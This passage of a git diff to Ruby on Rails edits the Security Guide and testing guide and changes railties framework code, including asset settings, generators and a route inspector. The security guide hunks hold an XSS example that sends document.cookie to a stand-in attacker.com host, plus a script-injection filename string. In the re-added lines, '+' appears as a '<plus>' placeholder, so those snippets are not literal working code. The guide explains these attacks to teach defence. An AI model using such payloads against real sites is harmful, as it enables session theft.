I do it manually because that‘s how you find the nasty logical security problems. +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems. h3. Sessions @@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are SessionStore and CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -209,7 +208,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _(highlight)held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. @@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -617,7 +616,7 @@ This is alright for some web applications, but certainly not if the user is not Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. -Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. +Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. h3. Injection @@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -825,7 +824,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> </html> -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks. h5. Examples from the Underground @@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index cc55d1f756..2341a3522c 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -931,7 +931,7 @@ class UserControllerTest < ActionController::TestCase assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] - assert_match /Hi friend@example.com/, invite_email.body + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -945,11 +945,3 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. * "RSpec":http://relishapp.com/rspec, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb index 603ede3d1e..73bdd0b552 100644 --- a/railties/lib/rails.rb +++ b/railties/lib/rails.rb @@ -15,15 +15,17 @@ require 'action_dispatch/railtie' # For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the # multibyte safe operations. Plugin authors supporting other encodings -# should override this behaviour and set the relevant +default_charset+ +# should override this behavior and set the relevant +default_charset+ # on ActionController::Base. # # For Ruby 1.9, UTF-8 is the default internal and external encoding. if RUBY_VERSION < '1.9' $KCODE='u' else - Encoding.default_external = Encoding::UTF_8 - Encoding.default_internal = Encoding::UTF_8 + silence_warnings do + Encoding.default_external = Encoding::UTF_8 + Encoding.default_internal = Encoding::UTF_8 + end end module Rails diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index 9e2f1a4b7a..cbb2d23238 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -55,6 +55,11 @@ module Rails delegate :default_url_options, :default_url_options=, :to => :routes + def initialize + super + @initialized = false + end + # This method is called just after an application inherits from Rails::Application, # allowing the developer to load classes in lib and use them during application # configuration. @@ -78,7 +83,6 @@ module Rails require environment if environment end - def reload_routes! routes_reloader.reload! end @@ -87,9 +91,9 @@ module Rails @routes_reloader ||= RoutesReloader.new end - def initialize! + def initialize!(group=:default) raise "Application has been already initialized." if @initialized - run_initializers(self) + run_initializers(group, self) @initialized = true self end @@ -150,7 +154,7 @@ module Rails if config.force_ssl require "rack/ssl" - middleware.use ::Rack::SSL + middleware.use ::Rack::SSL, config.ssl_options end if config.serve_static_assets @@ -163,7 +167,9 @@ module Rails middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies - middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + if config.action_dispatch.x_sendfile_header.present? + middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + end middleware.use ::ActionDispatch::Reloader unless config.cache_classes middleware.use ::ActionDispatch::Callbacks middleware.use ::ActionDispatch::Cookies diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb index 9f21d273e6..0aff05b681 100644 --- a/railties/lib/rails/application/bootstrap.rb +++ b/railties/lib/rails/application/bootstrap.rb @@ -7,28 +7,28 @@ module Rails module Bootstrap include Initializable - initializer :load_environment_hook do end + initializer :load_environment_hook, :group => :all do end - initializer :load_active_support do + initializer :load_active_support, :group => :all do require "active_support/all" unless config.active_support.bare end # Preload all frameworks specified by the Configuration#frameworks. # Used by Passenger to ensure everything's loaded before forking and # to avoid autoload race conditions in JRuby. - initializer :preload_frameworks do + initializer :preload_frameworks, :group => :all do ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks end # Initialize the logger early in the stack in case we need to log some deprecation. - initializer :initialize_logger do + initializer :initialize_logger, :group => :all do Rails.logger ||= config.logger || begin path = config.paths["log"].first logger = ActiveSupport::BufferedLogger.new(path) logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase) logger.auto_flushing = false if Rails.env.production? logger - rescue StandardError => e + rescue StandardError logger = ActiveSupport::BufferedLogger.new(STDERR) logger.level = ActiveSupport::BufferedLogger::WARN logger.warn( @@ -41,7 +41,7 @@ module Rails end # Initialize cache early in the stack so railties can make use of it. - initializer :initialize_cache do + initializer :initialize_cache, :group => :all do unless defined?(RAILS_CACHE) silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) } @@ -51,7 +51,7 @@ module Rails end end - initializer :set_clear_dependencies_hook do + initializer :set_clear_dependencies_hook, :group => :all do ActionDispatch::Reloader.to_cleanup do ActiveSupport::DescendantsTracker.clear ActiveSupport::Dependencies.clear @@ -60,11 +60,11 @@ module Rails # Sets the dependency loading mechanism. # TODO: Remove files from the $" and always use require. - initializer :initialize_dependency_mechanism do + initializer :initialize_dependency_mechanism, :group => :all do ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load end - initializer :bootstrap_hook do |app| + initializer :bootstrap_hook, :group => :all do |app| ActiveSupport.run_load_hooks(:before_initialize, app) end end diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb index 975e159999..448521d2f0 100644 --- a/railties/lib/rails/application/configuration.rb +++ b/railties/lib/rails/application/configuration.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/string/encoding' +require 'active_support/core_ext/kernel/reporting' require 'rails/engine/configuration' module Rails @@ -6,12 +7,14 @@ module Rails class Configuration < ::Rails::Engine::Configuration attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :cache_classes, :cache_store, :consider_all_requests_local, - :dependency_loading, :encoding, :filter_parameters, + :dependency_loading, :filter_parameters, :force_ssl, :helpers_paths, :logger, :preload_frameworks, :reload_plugins, :secret_token, :serve_static_assets, - :static_cache_control, :session_options, :time_zone, :whiny_nils + :ssl_options, :static_cache_control, :session_options, + :time_zone, :whiny_nils attr_writer :log_level + attr_reader :encoding def initialize(*) super @@ -24,6 +27,7 @@ module Rails @serve_static_assets = true @static_cache_control = nil @force_ssl = false + @ssl_options = {} @session_store = :cookie_store @session_options = {} @time_zone = "UTC" @@ -33,14 +37,20 @@ module Rails @cache_store = [ :file_store, "#{root}/tmp/cache/" ] @assets = ActiveSupport::OrderedOptions.new - @assets.enabled = false - @assets.paths = [] - @assets.precompile = [ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] - @assets.prefix = "/assets" - - @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] - @assets.js_compressor = nil - @assets.css_compressor = nil + @assets.enabled = false + @assets.paths = [] + @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, + /(?:\/|\\|\A)application\.(css|js)$/ ] + @assets.prefix = "/assets" + @assets.version = '' + @assets.debug = false + @assets.compile = true + @assets.digest = false + @assets.manifest = nil + @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] + @assets.js_compressor = nil + @assets.css_compressor = nil + @assets.initialize_on_precompile = true end def compiled_asset_path @@ -50,8 +60,10 @@ module Rails def encoding=(value) @encoding = value if "ruby".encoding_aware? - Encoding.default_external = value - Encoding.default_internal = value + silence_warnings do + Encoding.default_external = value + Encoding.default_internal = value + end else $KCODE = value if $KCODE == "NONE" diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb new file mode 100644 index 0000000000..8c6911e6bb --- /dev/null +++ b/railties/lib/rails/application/route_inspector.rb @@ -0,0 +1,43 @@ +module Rails + class Application + ## + # This class is just used for displaying route information when someone + # executes `rake routes`. People should not use this class. + class RouteInspector # :nodoc: + def format all_routes, filter = nil + if filter + all_routes = all_routes.select{ |route| route.defaults[:controller] == filter } + end + + routes = all_routes.collect do |route| + + reqs = route.requirements.dup + rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ + + endpoint = rack_app ? rack_app.inspect : "#{reqs[:controller]}##{reqs[:action]}" + constraints = reqs.except(:controller, :action) + + reqs = endpoint == '#' ? '' : endpoint + + unless constraints.empty? + reqs = reqs.empty? ? constraints.inspect : "#{reqs} #{constraints.inspect}" + end + + verb = route.verb.source.gsub(/[$^]/, '') + {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs} + end + + # Skip the route if it's internal info route + routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } + + name_width = routes.map{ |r| r[:name].length }.max + verb_width = routes.map{ |r| r[:verb].length }.max + path_width = routes.map{ |r| r[:path].length }.max + + routes.map do |r| + "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" + end + end + end + end +end diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb index 770c23ae41..e6822b75b7 100644 --- a/railties/lib/rails/code_statistics.rb +++ b/railties/lib/rails/code_statistics.rb @@ -30,7 +30,7 @@ class CodeStatistics #:nodoc: stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 } Dir.foreach(directory) do |file_name| - if File.stat(directory + "/" + file_name).directory? and (/^\./ !~ file_name) + if File.directory?(directory + "/" + file_name) and (/^\./ !~ file_name) newstats = calculate_directory_statistics(directory + "/" + file_name, pattern) stats.each { |k, v| stats[k] += newstats[k] } end diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb index a21484e5cb..ada150ceec 100644 --- a/railties/lib/rails/commands.rb +++ b/railties/lib/rails/commands.rb @@ -4,6 +4,7 @@ ARGV << '--help' if ARGV.empty? aliases = { "g" => "generate", + "d" => "destroy", "c" => "console", "s" => "server", "db" => "dbconsole", @@ -87,7 +88,7 @@ The most common rails commands are: In addition to those, there are: application Generate the Rails application code - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") benchmarker See how fast a piece of code runs profiler Get profile information from a piece of code plugin Install a plugin diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb index 1cf23a8b92..60d1aed73a 100644 --- a/railties/lib/rails/commands/application.rb +++ b/railties/lib/rails/commands/application.rb @@ -9,6 +9,14 @@ if ARGV.first != "new" ARGV[0] = "--help" else ARGV.shift + railsrc = File.join(File.expand_path("~"), ".railsrc") + if File.exist?(railsrc) + extra_args_string = File.open(railsrc).read + extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten + puts "Using #{extra_args.join(" ")} from #{railsrc}" + ARGV << extra_args + ARGV.flatten! + end end require 'rubygems' if ARGV.include?("--dev") diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb index cb897e94d7..2d25273050 100644 --- a/railties/lib/rails/engine.rb +++ b/railties/lib/rails/engine.rb @@ -220,7 +220,7 @@ module Rails # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>. # - # The next thing that changes in isolated engines is the behaviour of routes. Normally, when you namespace + # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace # your controllers, you also need to do namespace all your routes. With an isolated engine, # the namespace is applied by default, so you can ignore it in routes: # @@ -232,7 +232,7 @@ module Rails # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use # <tt>articles_path</tt> as you would do with your application. # - # To make that behaviour consistent with other parts of the framework, an isolated engine also has influence on + # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and # form fields for convenience. @@ -360,6 +360,7 @@ module Rails end def endpoint(endpoint = nil) + @endpoint ||= nil @endpoint = endpoint if endpoint @endpoint end @@ -404,15 +405,15 @@ module Rails super paths["lib/tasks"].existent.sort.each { |ext| load(ext) } end - + def load_console(app=self) railties.all { |r| r.load_console(app) } super end - + def eager_load! railties.all(&:eager_load!) - + config.eager_load_paths.each do |load_path| matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/ Dir.glob("#{load_path}/**/*.rb").sort.each do |file| @@ -536,15 +537,15 @@ module Rails end end - initializer :load_environment_config, :before => :load_environment_hook do + initializer :load_environment_config, :before => :load_environment_hook, :group => :all do environment = paths["config/environments"].existent.first require environment if environment end - initializer :append_assets_path do |app| - app.config.assets.paths.unshift(*paths["vendor/assets"].existent) - app.config.assets.paths.unshift(*paths["lib/assets"].existent) - app.config.assets.paths.unshift(*paths["app/assets"].existent) + initializer :append_assets_path, :group => :all do |app| + app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["app/assets"].existent_directories) end initializer :prepend_helpers_path do |app| diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb index 3b0920e213..b71119af77 100644 --- a/railties/lib/rails/engine/commands.rb +++ b/railties/lib/rails/engine/commands.rb @@ -3,7 +3,8 @@ require 'active_support/core_ext/object/inclusion' ARGV << '--help' if ARGV.empty? aliases = { - "g" => "generate" + "g" => "generate", + "d" => "destroy" } command = ARGV.shift @@ -30,7 +31,7 @@ Usage: rails COMMAND [ARGS] The common rails commands available for engines are: generate Generate new code (short-cut alias: "g") - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") All commands can be run with -h for more information. EOT diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb index fdafc91fcb..27f8d13ce8 100644 --- a/railties/lib/rails/generators.rb +++ b/railties/lib/rails/generators.rb @@ -77,7 +77,7 @@ module Rails fallbacks.merge! config.fallbacks templates_path.concat config.templates templates_path.uniq! - hide_namespaces *config.hidden_namespaces + hide_namespaces(*config.hidden_namespaces) end def self.templates_path @@ -313,7 +313,7 @@ module Rails begin path = path.sub("#{base}/", "") require path - rescue Exception => e + rescue Exception # No problem end end diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb index b8541c236e..b26839644e 100644 --- a/railties/lib/rails/generators/actions.rb +++ b/railties/lib/rails/generators/actions.rb @@ -68,7 +68,32 @@ module Rails end in_root do - append_file "Gemfile", "gem #{parts.join(", ")}\n", :verbose => false + str = "gem #{parts.join(", ")}\n" + str = " " + str if @in_group + append_file "Gemfile", str, :verbose => false + end + end + + # Wraps gem entries inside a group. + # + # ==== Example + # + # gem_group :development, :test do + # gem "rspec-rails" + # end + # + def gem_group(*names, &block) + name = names.map(&:inspect).join(", ") + log :gemfile, "group #{name}" + + in_root do + append_file "Gemfile", "\ngroup #{name} do\n", :force => true + + @in_group = true + instance_eval(&block) + @in_group = false + + append_file "Gemfile", "end\n", :force => true end end @@ -97,7 +122,7 @@ module Rails in_root do if options[:env].nil? - inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false + inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false else Array.wrap(options[:env]).each do |env| inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false @@ -119,8 +144,8 @@ module Rails if commands.is_a?(Symbol) run "git #{commands}" else - commands.each do |command, options| - run "git #{command} #{options}" + commands.each do |cmd, options| + run "git #{cmd} #{options}" end end end @@ -227,7 +252,7 @@ module Rails # def rake(command, options={}) log :rake, command - env = options[:env] || 'development' + env = options[:env] || ENV["RAILS_ENV"] || 'development' sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", :verbose => false) } end diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb index bbdd000ad9..294563ad06 100644 --- a/railties/lib/rails/generators/app_base.rb +++ b/railties/lib/rails/generators/app_base.rb @@ -9,7 +9,7 @@ require 'uri' module Rails module Generators class AppBase < Base - DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db ) + DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver ) JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc ) DATABASES.concat(JDBC_DATABASES) @@ -138,10 +138,12 @@ module Rails if options.dev? <<-GEMFILE.strip_heredoc gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}' + gem 'journey', :path => '#{Rails::Generators::JOURNEY_DEV_PATH}' GEMFILE elsif options.edge? <<-GEMFILE.strip_heredoc gem 'rails', :git => 'git://github.com/rails/rails.git' + gem 'journey', :git => 'git://github.com/rails/journey.git' GEMFILE else <<-GEMFILE.strip_heredoc @@ -154,12 +156,13 @@ module Rails end def gem_for_database - # %w( mysql oracle postgresql sqlite3 frontbase ibm_db jdbcmysql jdbcsqlite3 jdbcpostgresql ) + # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql ) case options[:database] when "oracle" then "ruby-oci8" when "postgresql" then "pg" when "frontbase" then "ruby-frontbase" when "mysql" then "mysql2" + when "sqlserver" then "activerecord-sqlserver-adapter" when "jdbcmysql" then "activerecord-jdbcmysql-adapter" when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" @@ -200,10 +203,12 @@ module Rails def assets_gemfile_entry <<-GEMFILE.strip_heredoc + # Gems used only for assets and not required + # in production environments by default. group :assets do - gem 'sass-rails', :git => 'git://github.com/rails/sass-rails' - gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails' - gem 'uglifier' + gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git' + gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git' + gem 'uglifier', '>= 1.0.3' end GEMFILE end diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb index b9dc31457a..911f80cf3a 100644 --- a/railties/lib/rails/generators/base.rb +++ b/railties/lib/rails/generators/base.rb @@ -91,7 +91,7 @@ module Rails # # The lookup in this case for test_unit as input is: # - # "test_unit:awesome", "test_unit" + # "test_framework:awesome", "test_framework" # # Which is not the desired the lookup. You can change it by providing the # :as option: @@ -102,7 +102,7 @@ module Rails # # And now it will lookup at: # - # "test_unit:controller", "test_unit" + # "test_framework:controller", "test_framework" # # Similarly, if you want it to also lookup in the rails namespace, you just # need to provide the :base value: @@ -113,7 +113,7 @@ module Rails # # And the lookup is exactly the same as previously: # - # "rails:test_unit", "test_unit:controller", "test_unit" + # "rails:test_framework", "test_framework:controller", "test_framework" # # ==== Switches # diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE index 9e7a78d132..691095f33f 100644 --- a/railties/lib/rails/generators/rails/app/USAGE +++ b/railties/lib/rails/generators/rails/app/USAGE @@ -2,6 +2,12 @@ Description: The 'rails new' command creates a new Rails application with a default directory structure and configuration at the path you specify. + You can specify extra command-line arguments to be used every time + 'rails new' runs in the .railsrc configuration file in your home directory. + + Note that the arguments specified in the .railsrc file don't affect the + defaults values shown above in this help message. + Example: rails new ~/Code/Ruby/weblog diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb index d9dd33518a..c8648d19f8 100644 --- a/railties/lib/rails/generators/rails/app/app_generator.rb +++ b/railties/lib/rails/generators/rails/app/app_generator.rb @@ -122,10 +122,15 @@ module Rails end def vendor + vendor_javascripts vendor_stylesheets vendor_plugins end + def vendor_javascripts + empty_directory_with_gitkeep "vendor/assets/javascripts" + end + def vendor_stylesheets empty_directory_with_gitkeep "vendor/assets/stylesheets" end @@ -139,6 +144,7 @@ module Rails # We need to store the RAILS_DEV_PATH in a constant, otherwise the path # can change in Ruby 1.8.7 when we FileUtils.cd. RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__)) + JOURNEY_DEV_PATH = File.expand_path("../../../../../../../journey", File.dirname(__FILE__)) RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test] diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile index 88eea40b1b..910cd16950 100644 --- a/railties/lib/rails/generators/rails/app/templates/Gemfile +++ b/railties/lib/rails/generators/rails/app/templates/Gemfile @@ -7,12 +7,12 @@ source 'http://rubygems.org' <%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%> <%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%> -# Gems used only for assets and not required -# in production environments by default. <%= assets_gemfile_entry %> - <%= javascript_gemfile_entry %> +# To use ActiveModel has_secure_password +# gem 'bcrypt-ruby', '~> 3.0.0' + # Use unicorn as the web server # gem 'unicorn' diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css index 9e07c7d9a9..3b5cc6648e 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css @@ -4,10 +4,10 @@ * * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. - * + * * You're free to add application-wide styles to this file and they'll appear at the top of the * compiled file, but it's generally better to create a new file per style scope. * *= require_self - *= require_tree . -*/
\ No newline at end of file + *= require_tree . +*/ diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb index 7687b1beac..13fbe9e526 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/application.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb @@ -12,10 +12,12 @@ require "active_resource/railtie" <%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> -# If you have a Gemfile, require the default gems, the ones in the -# current environment and also include :assets gems if in development -# or test environments. -Bundler.require *Rails.groups(:assets) if defined?(Bundler) +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require(*Rails.groups(:assets => %w(development test))) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end module <%= app_const_base %> class Application < Rails::Application @@ -50,6 +52,9 @@ module <%= app_const_base %> <% unless options.skip_sprockets? -%> # Enable the asset pipeline config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' <% end -%> end end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt index 3e0c29a587..47078e3af9 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt @@ -29,4 +29,7 @@ # Do not compress assets config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt index 06ed890e05..64e2c09467 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt @@ -14,9 +14,18 @@ # Compress JavaScripts and CSS config.assets.compress = true + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + # Specifies the header that your server uses for sending files - # (comment out if your front-end server doesn't support this) - config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt index ee068b0202..80198cc21e 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +++ 